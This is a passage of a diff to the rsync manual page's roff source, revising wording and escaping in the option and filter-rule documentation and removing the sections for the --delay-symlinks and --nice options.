\\fIDIR\\fP instead of writing\n the partial file out to the destination file.  On the next transfer, rsync\n-will use a file found in this directory as data to speed up the resumption of the\n+will use a file found in this dir as data to speed up the resumption of the\n transfer and then delete it after it has served its purpose.\n .IP\n-Note that if \\fB\\-\\-whole\\-file\\fP is specified (or implied), any\n+Note that if \\fB\\-\\-whole-file\\fP is specified (or implied), any\n partial-dir files that are found for a file that is being updated will\n simply be removed (since rsync is sending files without using rsync's\n delta-transfer algorithm).\n .IP\n-Rsync will create the \\fIDIR\\fP if it is missing, but just the last directory\\ \\-\\- not\n+Rsync will create the \\fIDIR\\fP if it is missing, but just the last dir\\ \\-\\- not\n the whole path.  This makes it easy to use a relative path (such as\n-\"\\fB\\-\\-partial\\-dir=.rsync-partial\\fP\") to have rsync create the\n+\"\\fB\\-\\-partial-dir=.rsync-partial\\fP\") to have rsync create the\n partial-directory in the destination file's directory when it is needed,\n and then remove it again when the partial file is deleted.  Note that this\n directory removal is only done for a relative pathname, as it is expected\n@@ -3777,7 +3455,7 @@ If the partial-dir value is not an absolute path, rsync will add an exclude\n rule at the end of all your existing excludes.  This will prevent the\n sending of any partial-dir files that may exist on the sending side, and\n will also prevent the untimely deletion of partial-dir items on the\n-receiving side.  An example: the above \\fB\\-\\-partial\\-dir\\fP option would add the\n+receiving side.  An example: the above \\fB\\-\\-partial-dir\\fP option would add the\n equivalent of this \"perishable\" exclude at the end of any other filter\n rules: \\fB\\-f\\ '\\-p\\ .rsync-partial/'\\fP\n .IP\n@@ -3791,21 +3469,21 @@ the auto-added rule may be ineffective at the end of your other rules, or\n you may wish to override rsync's exclude choice.\n .RE\n .IP\n-For instance, if you want to make rsync clean-up any left-over partial-directories\n-that may be lying around, you should specify \\fB\\-\\-delete\\-after\\fP and\n+For instance, if you want to make rsync clean-up any left-over partial-dirs\n+that may be lying around, you should specify \\fB\\-\\-delete-after\\fP and\n add a \"risk\" filter rule, e.g.  \\fB\\-f\\ 'R\\ .rsync-partial/'\\fP. Avoid using\n-\\fB\\-\\-delete\\-before\\fP or \\fB\\-\\-delete\\-during\\fP unless you don't\n+\\fB\\-\\-delete-before\\fP or \\fB\\-\\-delete-during\\fP unless you don't\n need rsync to use any of the left-over partial-dir data during the current\n run.\n .IP\n-IMPORTANT: the partial-dir directory should not be writable by other users or it\n+IMPORTANT: the \\fB\\-\\-partial-dir\\fP should not be writable by other users or it\n is a security risk!  E.g. AVOID \"/tmp\"!\n .IP\n You can also set the partial-dir value the \\fBRSYNC_PARTIAL_DIR\\fP\n environment variable.  Setting this in the environment does not force\n \\fB\\-\\-partial\\fP to be enabled, but rather it affects where partial\n files go when \\fB\\-\\-partial\\fP is specified.  For instance, instead of\n-using \\fB\\-\\-partial\\-dir=.rsync-tmp\\fP along with \\fB\\-\\-progress\\fP, you could\n+using \\fB\\-\\-partial-dir=.rsync-tmp\\fP along with \\fB\\-\\-progress\\fP, you could\n set \\fBRSYNC_PARTIAL_DIR=.rsync-tmp\\fP in your environment and then use\n the \\fB\\-P\\fP option to turn on the use of the .rsync-tmp dir for\n partial transfers.  The only times that the \\fB\\-\\-partial\\fP option does\n@@ -3814,42 +3492,42 @@ not look for this environment value are:\n .IP\n .IP 1.\n when \\fB\\-\\-inplace\\fP was specified (since \\fB\\-\\-inplace\\fP\n-conflicts with \\fB\\-\\-partial\\-dir\\fP), and\n+conflicts with \\fB\\-\\-partial-dir\\fP), and\n .IP 2.\n-when \\fB\\-\\-delay\\-updates\\fP was specified (see below).\n+when \\fB\\-\\-delay-updates\\fP was specified (see below).\n .RE\n .IP\n When a modern rsync resumes the transfer of a file in the partial-dir, that\n partial file is now updated in-place instead of creating yet another\n tmp-file copy (so it maxes out at dest + tmp instead of dest + partial +\n tmp).  This requires both ends of the transfer to be at least version\n-3.2.0 (June 2020).\n+3.2.0.\n .IP\n For the purposes of the daemon-config's \"\\fBrefuse\\ options\\fP\" setting,\n-\\fB\\-\\-partial\\-dir\\fP does \\fInot\\fP imply \\fB\\-\\-partial\\fP.  This is so that a\n+\\fB\\-\\-partial-dir\\fP does \\fInot\\fP imply \\fB\\-\\-partial\\fP.  This is so that a\n refusal of the \\fB\\-\\-partial\\fP option can be used to disallow the\n overwriting of destination files with a partial transfer, while still\n-allowing the safer idiom provided by \\fB\\-\\-partial\\-dir\\fP.\n-.IP \"\\fB\\-\\-delay\\-updates\\fP\"\n+allowing the safer idiom provided by \\fB\\-\\-partial-dir\\fP.\n+.IP \"\\fB\\-\\-delay-updates\\fP\"\n This option puts the temporary file from each updated file into a holding\n directory until the end of the transfer, at which time all the files are\n renamed into place in rapid succession.  This attempts to make the updating\n-of the files a little closer to atomic.  By default the files are placed into a\n+of the files a little more atomic.  By default the files are placed into a\n directory named \\fB.~tmp~\\fP in each file's destination directory, but if\n-you've specified the \\fB\\-\\-partial\\-dir\\fP option, that directory will be\n-used instead.  See the comments in the \\fB\\-\\-partial\\-dir\\fP section for\n+you've specified the \\fB\\-\\-partial-dir\\fP option, that directory will be\n+used instead.  See the comments in the \\fB\\-\\-partial-dir\\fP section for\n a discussion of how this \\fB.~tmp~\\fP dir will be excluded from the transfer,\n-and what you can do if you want rsync to cleanup old \\fB.~tmp~\\fP directories that\n+and what you can do if you want rsync to cleanup old \\fB.~tmp~\\fP dirs that\n might be lying around.  Conflicts with \\fB\\-\\-inplace\\fP and\n \\fB\\-\\-append\\fP.\n .IP\n-This option implies \\fB\\-\\-no\\-inc\\-recursive\\fP since it needs the full\n+This option implies \\fB\\-\\-no-inc-recursive\\fP since it needs the full\n file list in memory in order to be able to iterate over it at the end.\n .IP\n This option uses more memory on the receiving side (one bit per file\n transferred) and also requires enough free disk space on the receiving side\n to hold an additional copy of all the updated files.  Note also that you\n-should not use an absolute path to \\fB\\-\\-partial\\-dir\\fP unless:\n+should not use an absolute path to \\fB\\-\\-partial-dir\\fP unless:\n .RS\n .IP\n .IP 1.\n@@ -3861,36 +3539,10 @@ there are no mount points in the hierarchy (since the delayed updates\n will fail if they can't be renamed into place).\n .RE\n .IP\n-See also the \"atomic-rsync\" python script in the \"support\" subdirectory for an\n-update algorithm that is even closer to atomic (it uses \\fB\\-\\-link\\-dest\\fP\n+See also the \"atomic-rsync\" python script in the \"support\" subdir for an\n+update algorithm that is even more atomic (it uses \\fB\\-\\-link-dest\\fP\n and a parallel hierarchy of files).\n-.IP \"\\fB\\-\\-delay\\-symlinks\\fP\"\n-This option tells the receiving rsync to hold back the creation of new and\n-changed symlinks until every other file in the transfer has been put into\n-place, including the renames done by \\fB\\-\\-delay\\-updates\\fP.  Without\n-it, a symlink is created as soon as rsync reaches it in the file list, so\n-for the rest of the transfer it can point at a file that hasn't arrived\n-yet.\n-.IP\n-This narrows the window in which the destination is inconsistent; it does\n-not make the update atomic.  A transfer that is interrupted before the end\n-leaves new symlinks missing and changed symlinks pointing at their old\n-targets.\n-.IP\n-If a symlink is moved to a new target and the old target is deleted, also\n-use \\fB\\-\\-delete\\-delay\\fP or \\fB\\-\\-delete\\-after\\fP, since\n-\\fB\\-\\-delete\\-before\\fP and the default \\fB\\-\\-delete\\-during\\fP can\n-remove the old target while the old symlink still points at it.\n-.IP\n-This option implies \\fB\\-\\-no\\-inc\\-recursive\\fP since it needs the full\n-file list in memory in order to be able to iterate over it at the end.\n-.IP\n-Conflicts with \\fB\\-\\-remove\\-source\\-files\\fP, \\fB\\-\\-hard\\-links\\fP,\n-\\fB\\-\\-compare\\-dest\\fP, \\fB\\-\\-copy\\-dest\\fP, and \\fB\\-\\-link\\-dest\\fP.\n-This option is incompatible with rsync versions prior to 2.6.4 (March\n-2005), and when the receiving side is remote, the remote rsync must also\n-support this option.\n-.IP \"\\fB\\-\\-prune\\-empty\\-dirs\\fP, \\fB\\-m\\fP\"\n+.IP \"\\fB\\-\\-prune-empty-dirs\\fP, \\fB\\-m\\fP\"\n This option tells the receiving rsync to get rid of empty directories from\n the file-list, including nested directories that have no non-directory\n children.  This is useful for avoiding the creation of a bunch of useless\n@@ -3943,19 +3595,15 @@ looks like this:\n .RS 4\n .IP\n .nf\n-782,448B  63%    113KB/s    0:00:04\n+782448  63%  110.64kB/s    0:00:04\n .fi\n .RE\n .IP\n-In this example, the receiver has reconstructed 782,448 bytes or 63% of the\n-sender's file, which is being reconstructed at a rate of 113 kilobytes\n+In this example, the receiver has reconstructed 782448 bytes or 63% of the\n+sender's file, which is being reconstructed at a rate of 110.64 kilobytes\n per second, and the transfer will finish in 4 seconds if the current rate\n is maintained until the end.\n .IP\n-Progress rates are scaled in decimal units by default.  \\fB\\-\\-no\\-h\\fP keeps the\n-rate in bytes per second, while \\fB\\-hh\\fP uses binary units such as \\fBKiB/s\\fP and\n-\\fBMiB/s\\fP.\n-.IP\n These statistics can be misleading if rsync's delta-transfer algorithm is\n in use.  For example, if the sender's file consists of the basis file\n followed by additional data, the reported rate will probably drop\n@@ -3968,13 +3616,13 @@ summary line that looks like this:\n .RS 4\n .IP\n .nf\n-1,238,099B 100%    150KB/s    0:00:08  (xfr#5, to-chk=169/396)\n+1,238,099 100%  146.38kB/s    0:00:08  (xfr#5, to-chk=169/396)\n .fi\n .RE\n .IP\n In this example, the file was 1,238,099 bytes long in total, the average\n-rate of transfer for the whole file was 150 kilobytes per second over the\n-8 seconds that it took to complete, it was the 5th transfer of a\n+rate of transfer for the whole file was 146.38 kilobytes per second over\n+the 8 seconds that it took to complete, it was the 5th transfer of a\n regular file during the current rsync session, and there are 169 more files\n for the receiver to check (to see if they are up-to-date or not) remaining\n out of the 396 total files in the file-list.\n@@ -4012,8 +3660,8 @@ followed by the \\fB\\-\\-info=progress2\\fP format of progress info.  If you\n don't know which of the 3 rsync processes is the client process, it's OK to\n signal all of them (since the non-client processes ignore the signal).\n .IP\n-CAUTION: sending SIGVTALRM to an older rsync (pre-3.2.0, June 2020) will kill it.\n-.IP \"\\fB\\-\\-password\\-file=FILE\\fP\"\n+CAUTION: sending SIGVTALRM to an older rsync (pre-3.2.0) will kill it.\n+.IP \"\\fB\\-\\-password-file=FILE\\fP\"\n This option allows you to provide a password for accessing an rsync daemon\n via a file or via standard input if \\fBFILE\\fP is \\fB\\-\\fP.  The file should\n contain just the password on the first line (all other lines are ignored).\n@@ -4026,30 +3674,30 @@ When accessing an rsync daemon using a remote shell as the transport, this\n option only comes into effect after the remote shell finishes its\n authentication (i.e. if you have also specified a password in the daemon's\n config file).\n-.IP \"\\fB\\-\\-early\\-input=FILE\\fP\"\n+.IP \"\\fB\\-\\-early-input=FILE\\fP\"\n This option allows rsync to send up to 5K of data to the \"early exec\"\n script on its stdin.  One possible use of this data is to give the script a\n secret that can be used to mount an encrypted filesystem (which you should\n unmount in the the \"post-xfer exec\" script).\n .IP\n-The daemon must be at least version 3.2.1 (June 2020).\n-.IP \"\\fB\\-\\-list\\-only\\fP\"\n+The daemon must be at least version 3.2.1.\n+.IP \"\\fB\\-\\-list-only\\fP\"\n This option will cause the source files to be listed instead of\n-transferred.  This option is inferred if there is a single source argument and\n+transferred.  This option is inferred if there is a single source arg and\n no destination specified, so its main uses are:\n .RS\n .IP\n .IP 1.\n-to turn a copy command that includes a destination argument into a\n+to turn a copy command that includes a destination arg into a\n file-listing command, or\n .IP 2.\n-to be able to specify more than one source argument.  Note: be sure to\n+to be able to specify more than one source arg.  Note: be sure to\n include the destination.\n .RE\n .IP\n-CAUTION: keep in mind that a source argument with a wild-card is expanded by the\n-shell into multiple arguments, so it is never safe to try to specify a single\n-wild-card argument to try to infer this option. A safe example is:\n+CAUTION: keep in mind that a source arg with a wild-card is expanded by the\n+shell into multiple args, so it is never safe to try to specify a single\n+wild-card arg to try to infer this option. A safe example is:\n .RS 4\n .IP\n .nf\n@@ -4066,19 +3714,18 @@ drwxrwxr-x          4,096 2022/09/30 12:53:11 support\n .fi\n .RE\n .IP\n-The only option that affects this output style is the\n-\\fB\\-\\-human\\-readable\\fP (\\fB\\-h\\fP) option.  The default is to output sizes\n+The only option that affects this output style is (as of 3.1.0) the\n+\\fB\\-\\-human-readable\\fP (\\fB\\-h\\fP) option.  The default is to output sizes\n as byte counts with digit separators (in a 14-character-width column).\n Specifying at least one \\fB\\-h\\fP option makes the sizes output with unit\n suffixes.  If you want old-style bytecount sizes without digit separators\n-(and an 11-character-width column) use \\fB\\-\\-no\\-h\\fP.\n+(and an 11-character-width column) use \\fB\\-\\-no-h\\fP.\n .IP\n Compatibility note: when requesting a remote listing of files from an rsync\n-that is version 2.6.3 or older (i.e., pre-2005),\n-you may encounter an error if you ask for a\n+that is version 2.6.3 or older, you may encounter an error if you ask for a\n non-recursive listing.  This is because a file listing implies the\n-\\fB\\-\\-dirs\\fP option without \\fB\\-\\-recursive\\fP, and older rsyncs don't\n-have that option.  To avoid this problem, either specify the \\fB\\-\\-no\\-dirs\\fP\n+\\fB\\-\\-dirs\\fP option w/o \\fB\\-\\-recursive\\fP, and older rsyncs don't\n+have that option.  To avoid this problem, either specify the \\fB\\-\\-no-dirs\\fP\n option (if you don't need to expand a directory's content), or turn on\n recursion and exclude the content of subdirectories: \\fB\\-r\\ \\-\\-exclude='/*/*'\\fP.\n .IP \"\\fB\\-\\-bwlimit=RATE\\fP\"\n@@ -4087,7 +3734,7 @@ sent over the socket, specified in units per second.  The RATE value can be\n suffixed with a string to indicate a size multiplier, and may be a\n fractional value (e.g. \\fB\\-\\-bwlimit=1.5m\\fP).  If no suffix is specified, the\n value will be assumed to be in units of 1024 bytes (as if \"K\" or \"KiB\" had\n-been appended).  See the \\fB\\-\\-max\\-size\\fP option for a description of\n+been appended).  See the \\fB\\-\\-max-size\\fP option for a description of\n all the available suffixes.  A value of 0 specifies no limit.\n .IP\n For backward-compatibility reasons, the rate limit will be rounded to the\n@@ -4107,7 +3754,7 @@ quickly buffered, while other can show up as very slow when the flushing of\n the output buffer occurs.  This may be fixed in a future version.\n .IP\n See also the daemon version of the \\fB\\-\\-bwlimit\\fP option.\n-.IP \"\\fB\\-\\-stop\\-after=MINS\\fP, (\\fB\\-\\-time\\-limit=MINS\\fP)\"\n+.IP \"\\fB\\-\\-stop-after=MINS\\fP, (\\fB\\-\\-time-limit=MINS\\fP)\"\n This option tells rsync to stop copying when the specified number of\n minutes has elapsed.\n .IP\n@@ -4115,10 +3762,10 @@ For maximal flexibility, rsync does not communicate this option to the\n remote rsync since it is usually enough that one side of the connection\n quits as specified.  This allows the option's use even when only one side\n of the connection supports it.  You can tell the remote side about the time\n-limit using \\fB\\-\\-remote\\-option\\fP (\\fB\\-M\\fP), should the need arise.\n+limit using \\fB\\-\\-remote-option\\fP (\\fB\\-M\\fP), should the need arise.\n .IP\n-The \\fB\\-\\-time\\-limit\\fP version of this option is deprecated.\n-.IP \"\\fB\\-\\-stop\\-at=y-m-dTh:m\\fP\"\n+The \\fB\\-\\-time-limit\\fP version of this option is deprecated.\n+.IP \"\\fB\\-\\-stop-at=y-m-dTh:m\\fP\"\n This option tells rsync to stop copying when the specified point in time\n has been reached. The date & time can be fully specified in a numeric\n format of year-month-dayThour:minute (e.g. 2000-12-31T23:59) in the local\n@@ -4140,27 +3787,27 @@ For maximal flexibility, rsync does not communicate this option to the\n remote rsync since it is usually enough that one side of the connection\n quits as specified.  This allows the option's use even when only one side\n of the connection supports it.  You can tell the remote side about the time\n-limit using \\fB\\-\\-remote\\-option\\fP (\\fB\\-M\\fP), should the need arise.  Do\n+limit using \\fB\\-\\-remote-option\\fP (\\fB\\-M\\fP), should the need arise.  Do\n keep in mind that the remote host may have a different default timezone\n than your local host.\n .IP \"\\fB\\-\\-fsync\\fP\"\n Cause the receiving side to fsync each finished file.  This may slow down\n the transfer, but can help to provide peace of mind when updating critical\n files.\n-.IP \"\\fB\\-\\-write\\-batch=FILE\\fP\"\n+.IP \"\\fB\\-\\-write-batch=FILE\\fP\"\n Record a file that can later be applied to another identical destination\n-with \\fB\\-\\-read\\-batch\\fP.  See the \"BATCH MODE\" section for details, and\n-also the \\fB\\-\\-only\\-write\\-batch\\fP option.\n+with \\fB\\-\\-read-batch\\fP.  See the \"BATCH MODE\" section for details, and\n+also the \\fB\\-\\-only-write-batch\\fP option.\n .IP\n This option overrides the negotiated checksum & compress lists and always\n-negotiates a choice based on old-school md5/md4/zlib choices.  This means\n-batch mode is not compatible with newer compression choices such as zstd or\n-lz4.\n-.IP \"\\fB\\-\\-only\\-write\\-batch=FILE\\fP\"\n-Works like \\fB\\-\\-write\\-batch\\fP, except that no updates are made on the\n+negotiates a choice based on old-school md5/md4/zlib choices.  If you want\n+a more modern choice, use the \\fB\\-\\-checksum-choice\\fP (\\fB\\-\\-cc\\fP) and/or\n+\\fB\\-\\-compress-choice\\fP (\\fB\\-\\-zc\\fP) options.\n+.IP \"\\fB\\-\\-only-write-batch=FILE\\fP\"\n+Works like \\fB\\-\\-write-batch\\fP, except that no updates are made on the\n destination system when creating the batch.  This lets you transport the\n changes to the destination system via some other means and then apply the\n-changes via \\fB\\-\\-read\\-batch\\fP.\n+changes via \\fB\\-\\-read-batch\\fP.\n .IP\n Note that you can feel free to write the batch directly to some portable\n media: if this media fills to capacity before the end of the transfer, you\n@@ -4173,16 +3820,16 @@ Also note that you only save bandwidth when pushing changes to a remote\n system because this allows the batched data to be diverted from the sender\n into the batch file without having to flow over the wire to the receiver\n (when pulling, the sender is remote, and thus can't write the batch).\n-.IP \"\\fB\\-\\-read\\-batch=FILE\\fP\"\n+.IP \"\\fB\\-\\-read-batch=FILE\\fP\"\n Apply all of the changes stored in FILE, a file previously generated by\n-\\fB\\-\\-write\\-batch\\fP.  If \\fIFILE\\fP is \\fB\\-\\fP, the batch data will be read\n+\\fB\\-\\-write-batch\\fP.  If \\fIFILE\\fP is \\fB\\-\\fP, the batch data will be read\n from standard input. See the \"BATCH MODE\" section for details.\n .IP \"\\fB\\-\\-protocol=NUM\\fP\"\n Force an older protocol version to be used.  This is useful for creating a\n batch file that is compatible with an older version of rsync.  For\n-instance, if rsync 2.6.4 is being used with the \\fB\\-\\-write\\-batch\\fP\n+instance, if rsync 2.6.4 is being used with the \\fB\\-\\-write-batch\\fP\n option, but rsync 2.6.3 is what will be used to run the\n-\\fB\\-\\-read\\-batch\\fP option, you should use \"\\-\\-protocol=28\" when creating\n+\\fB\\-\\-read-batch\\fP option, you should use \"\\-\\-protocol=28\" when creating\n the batch file to force the older protocol version to be used in the batch\n file (assuming you can't upgrade the rsync on the reading system).\n .IP \"\\fB\\-\\-iconv=CONVERT_SPEC\\fP\"\n@@ -4192,7 +3839,7 @@ character-set via the locale setting.  Alternately, you can fully specify\n what conversion to do by giving a local and a remote charset separated by a\n comma in the order \\fB\\-\\-iconv=LOCAL,REMOTE\\fP, e.g. \\fB\\-\\-iconv=utf8,iso88591\\fP.\n This order ensures that the option will stay the same whether you're\n-pushing or pulling files.  Finally, you can specify either \\fB\\-\\-no\\-iconv\\fP or\n+pushing or pulling files.  Finally, you can specify either \\fB\\-\\-no-iconv\\fP or\n a CONVERT_SPEC of \"\\-\" to turn off any conversion.  The default setting of\n this option is site-specific, and can also be affected via the\n \\fBRSYNC_ICONV\\fP environment variable.\n@@ -4200,9 +3847,9 @@ this option is site-specific, and can also be affected via the\n For a list of what charset names your local iconv library supports, you can\n run \"\\fBiconv\\ \\-\\-list\\fP\".\n .IP\n-If you specify the \\fB\\-\\-secluded\\-args\\fP (\\fB\\-s\\fP) option, rsync will\n+If you specify the \\fB\\-\\-secluded-args\\fP (\\fB\\-s\\fP) option, rsync will\n translate the filenames you specify on the command-line that are being sent\n-to the remote host.  See also the \\fB\\-\\-files\\-from\\fP option.\n+to the remote host.  See also the \\fB\\-\\-files-from\\fP option.\n .IP\n Note that rsync does not do any conversion of names in filter files\n (including include/exclude files).  It is up to you to ensure that you're\n@@ -4229,52 +3876,15 @@ See also the daemon version of these options.\n If rsync was compiled without support for IPv6, the \\fB\\-\\-ipv6\\fP option will\n have no effect.  The \\fBrsync\\ \\-\\-version\\fP output will contain \"\\fBno\\ IPv6\\fP\" if\n is the case.\n-.IP \"\\fB\\-\\-checksum\\-seed=NUM\\fP\"\n+.IP \"\\fB\\-\\-checksum-seed=NUM\\fP\"\n Set the checksum seed to the integer NUM.  This 4 byte checksum seed is\n included in each block and MD4 file checksum calculation (the more modern\n-file checksums don't use a seed).  By default the checksum seed is\n+MD5 file checksums don't use a seed).  By default the checksum seed is\n generated by the server and defaults to the current \\fBtime\\fP().  This\n option is used to set a specific checksum seed, which is useful for\n applications that want repeatable block checksums, or in the case where the\n user wants a more random checksum seed.  Setting NUM to 0 causes rsync to\n use the default of \\fBtime\\fP() for checksum seed.\n-.IP \"\\fB\\-\\-nice=SETTINGS\\fP\"\n-Adjust the CPU and I/O scheduling priority of the local process, the remote\n-process or both.  SETTINGS is a comma-separated list.  Each setting is\n-\\fBTARGET\\fP, \\fBPRIORITY\\fP or \\fBTARGET:PRIORITY\\fP.  \\fBTARGET\\fP is \\fBlocal\\fP, \\fBremote\\fP or\n-\\fBall\\fP.  Omitting \\fBTARGET\\fP applies the priority to both processes.  A\n-target-only setting uses \\fB19/idle\\fP.  Target names and I/O values are\n-case-insensitive.\n-.IP\n-\\fBPRIORITY\\fP is a CPU nice value from \\-20 to 19, an I/O value or both\n-separated by \\fB/\\fP.  I/O values are \\fBnone\\fP, \\fBidle\\fP, \\fBrt_0\\fP through \\fBrt_7\\fP and\n-\\fBbe_0\\fP through \\fBbe_7\\fP.  \\fBnone\\fP restores the kernel-derived I/O priority.\n-Higher nice values and higher \\fBrt\\fP or \\fBbe\\fP suffixes mean lower priority.\n-Raising priority may require additional privilege.\n-.IP\n-A setting that specifies only CPU or I/O priority leaves the other component\n-unchanged.  For example,\n-\\fB\\-\\-nice=remote:5\\ \\-\\-nice=remote:idle\\fP requests remote CPU priority 5 and\n-remote idle I/O priority.  Later settings replace earlier values for the\n-same component.  \\fB\\-\\-no\\-nice\\fP clears all earlier settings.\n-.IP\n-Examples:\n-.IP\n-.nf\n---nice=19/idle\n---nice=local:10,remote:idle\n---nice=local:19/be_7,remote:5\n-.fi\n-.IP\n-The remote rsync must support this option before a remote setting can be\n-used.  Daemon clients may request only CPU nice 19, idle I/O priority or\n-both.  A daemon administrator can also refuse the option with\n-\\fBrefuse\\ options\\ =\\ nice\\fP.  When starting a daemon, the local setting is\n-applied before it accepts client settings.  A standalone listener passes\n-that priority to its workers.  A daemon's remote setting has no meaning.\n-.IP\n-If a priority change is unsupported or fails, rsync warns and continues the\n-transfer.\n .P\n .SH \"DAEMON OPTIONS\"\n .P\n@@ -4325,12 +3935,12 @@ instance:\n rsync --daemon -M pidfile=/path/rsync.pid\n .fi\n .RE\n-.IP \"\\fB\\-\\-no\\-detach\\fP\"\n+.IP \"\\fB\\-\\-no-detach\\fP\"\n When running as a daemon, this option instructs rsync to not detach itself\n and become a background process.  This option is required when running as a\n service on Cygwin, and may also be useful when rsync is supervised by a\n program such as \\fBdaemontools\\fP or AIX's \\fBSystem\\ Resource\\ Controller\\fP.\n-\\fB\\-\\-no\\-detach\\fP is also recommended when rsync is run under a debugger.  This\n+\\fB\\-\\-no-detach\\fP is also recommended when rsync is run under a debugger.  This\n option has no effect if rsync is run from inetd or sshd.\n .IP \"\\fB\\-\\-port=PORT\\fP\"\n This specifies an alternate TCP port number for the daemon to listen on\n@@ -4338,18 +3948,18 @@ rather than the default of 873.\n .IP\n See also the client version of the \\fB\\-\\-port\\fP option and the\n port global setting in the rsyncd.conf manpage.\n-.IP \"\\fB\\-\\-log\\-file=FILE\\fP\"\n+.IP \"\\fB\\-\\-log-file=FILE\\fP\"\n This option tells the rsync daemon to use the given log-file name instead\n of using the \"\\fBlog\\ file\\fP\" setting in the config file.\n .IP\n-See also the client version of the \\fB\\-\\-log\\-file\\fP option.\n-.IP \"\\fB\\-\\-log\\-file\\-format=FORMAT\\fP\"\n+See also the client version of the \\fB\\-\\-log-file\\fP option.\n+.IP \"\\fB\\-\\-log-file-format=FORMAT\\fP\"\n This option tells the rsync daemon to use the given FORMAT string instead\n of using the \"\\fBlog\\ format\\fP\" setting in the config file.  It also enables\n \"\\fBtransfer\\ logging\\fP\" unless the string is empty, in which case transfer\n logging is turned off.\n .IP\n-See also the client version of the \\fB\\-\\-log\\-file\\-format\\fP\n+See also the client version of the \\fB\\-\\-log-file-format\\fP\n option.\n .IP \"\\fB\\-\\-sockopts\\fP\"\n This overrides the \\fBsocket\\ options\\fP\n@@ -4406,9 +4016,9 @@ are transferred, ignoring any deletion side-effects.  Filter rules mainly\n affect the contents of directories that rsync is \"recursing\" into, but they can\n also affect a top-level item in the transfer that was specified as a argument.\n .P\n-The default for any unmatched file/directory is for it to be included in the\n-transfer, which puts the file/directory into the sender's file list.  The use of an\n-exclude rule causes one or more matching files/directories to be left out of the\n+The default for any unmatched file/dir is for it to be included in the\n+transfer, which puts the file/dir into the sender's file list.  The use of an\n+exclude rule causes one or more matching files/dirs to be left out of the\n sender's file list.  An include rule can be used to limit the effect of an\n exclude rule that is matching too many files.\n .P\n@@ -4484,7 +4094,7 @@ rsync -aiR x/y/file.txt host:/tmp/\n .P\n The following command does not need an include of the \"x\" directory because it\n is not a part of the transfer (note the trailing slash).  Running this command\n-would copy just \"\\fB/tmp/x/file.txt\\fP\" because the \"y\" and \"z\" directories get excluded:\n+would copy just \"\\fB/tmp/x/file.txt\\fP\" because the \"y\" and \"z\" dirs get excluded:\n .RS 4\n .P\n .nf\n@@ -4541,7 +4151,7 @@ similar) could be used instead of the filter options above.\n .P\n Rsync supports old-style include/exclude rules and new-style filter rules.  The\n older rules are specified using \\fB\\-\\-include\\fP and \\fB\\-\\-exclude\\fP as\n-well as the \\fB\\-\\-include\\-from\\fP and \\fB\\-\\-exclude\\-from\\fP. These are\n+well as the \\fB\\-\\-include-from\\fP and \\fB\\-\\-exclude-from\\fP. These are\n limited in behavior but they don't require a \"\\-\" or \"+\" prefix.  An old-style\n exclude rule is turned into a \"\\fB\\-\\ name\\fP\" filter rule (with no modifiers) and an\n old-style include rule is turned into a \"\\fB+\\ name\\fP\" filter rule (with no\n@@ -4576,7 +4186,7 @@ rules.\n .IP \"\\fBdir-merge,\\ ':'\\fP\"\n specifies a per-directory merge-file.  Using this kind of\n filter rule requires that you trust the sending side's filter checking, so\n-it has the side-effect mentioned under the \\fB\\-\\-trust\\-sender\\fP option.\n+it has the side-effect mentioned under the \\fB\\-\\-trust-sender\\fP option.\n .IP \"\\fBhide,\\ 'H'\\fP\"\n specifies a pattern for hiding files from the transfer.\n Equivalent to a sender-only exclude, so \\fB\\-f'H\\ foo'\\fP could also be specified\n@@ -4592,7 +4202,7 @@ specified as \\fB\\-f'\\-r\\ foo'\\fP.\n files that match the pattern are not protected. Equivalent to a\n receiver-only include, so \\fB\\-f'R\\ foo'\\fP could also be specified as \\fB\\-f'+r\\ foo'\\fP.\n .IP \"\\fBclear,\\ '!'\\fP\"\n-clears the current include/exclude list (takes no argument)\n+clears the current include/exclude list (takes no arg)\n .P\n When rules are being read from a file (using merge or dir-merge), empty lines\n are ignored, as are whole-line comments that start with a '\\fB#\\fP' (filename rules\n@@ -4601,8 +4211,8 @@ that contain a hash character are unaffected).\n Note also that the \\fB\\-\\-filter\\fP, \\fB\\-\\-include\\fP, and\n \\fB\\-\\-exclude\\fP options take one rule/pattern each.  To add multiple ones,\n you can repeat the options on the command-line, use the merge-file syntax of\n-the \\fB\\-\\-filter\\fP option, or the \\fB\\-\\-include\\-from\\fP /\n-\\fB\\-\\-exclude\\-from\\fP options.\n+the \\fB\\-\\-filter\\fP option, or the \\fB\\-\\-include-from\\fP /\n+\\fB\\-\\-exclude-from\\fP options.\n .P\n .SS \"PATTERN MATCHING RULES\"\n .P\n@@ -4670,10 +4280,10 @@ transfer-root directory\n .IP o\n Option \\fB\\-f'\\-\\ foo/'\\fP would exclude any directory named foo\n .IP o\n-Option \\fB\\-f'\\-\\ foo/*/bar'\\fP would exclude any file/directory named bar which is at two\n+Option \\fB\\-f'\\-\\ foo/*/bar'\\fP would exclude any file/dir named bar which is at two\n levels below a directory named foo (if foo is in the transfer)\n .IP o\n-Option \\fB\\-f'\\-\\ /foo/**/bar'\\fP would exclude any file/directory named bar that was two\n+Option \\fB\\-f'\\-\\ /foo/**/bar'\\fP would exclude any file/dir named bar that was two\n or more levels below a top-level directory named foo (note that /foo/bar is\n \\fBnot\\fP excluded by this)\n .IP o\n@@ -4693,19 +4303,19 @@ A \\fB/\\fP specifies that the include/exclude rule should be matched against the\n absolute pathname of the current item.  For example, \\fB\\-f'\\-/\\ /etc/passwd'\\fP\n would exclude the passwd file any time the transfer was sending files from\n the \"/etc\" directory, and \"\\-/ subdir/foo\" would always exclude \"foo\" when it\n-is in a directory named \"subdir\", even if \"foo\" is at the root of the current\n+is in a dir named \"subdir\", even if \"foo\" is at the root of the current\n transfer.\n .IP o\n A \\fB!\\fP specifies that the include/exclude should take effect if the pattern\n fails to match.  For instance, \\fB\\-f'\\-!\\ */'\\fP would exclude all non-directories.\n .IP o\n A \\fBC\\fP is used to indicate that all the global CVS-exclude rules should be\n-inserted as excludes in place of the \"\\-C\".  No argument should follow.\n+inserted as excludes in place of the \"\\-C\".  No arg should follow.\n .IP o\n An \\fBs\\fP is used to indicate that the rule applies to the sending side.  When a\n rule affects the sending side, it affects what files are put into the\n sender's file list.  The default is for a rule to affect both sides unless\n-\\fB\\-\\-delete\\-excluded\\fP was specified, in which case default rules become\n+\\fB\\-\\-delete-excluded\\fP was specified, in which case default rules become\n sender-side only.  See also the hide (H) and show (S) rules, which are an\n alternate way to specify sending-side includes/excludes.\n .IP o\n@@ -4716,13 +4326,13 @@ which are an alternate way to specify receiver-side includes/excludes.\n .IP o\n A \\fBp\\fP indicates that a rule is perishable, meaning that it is ignored 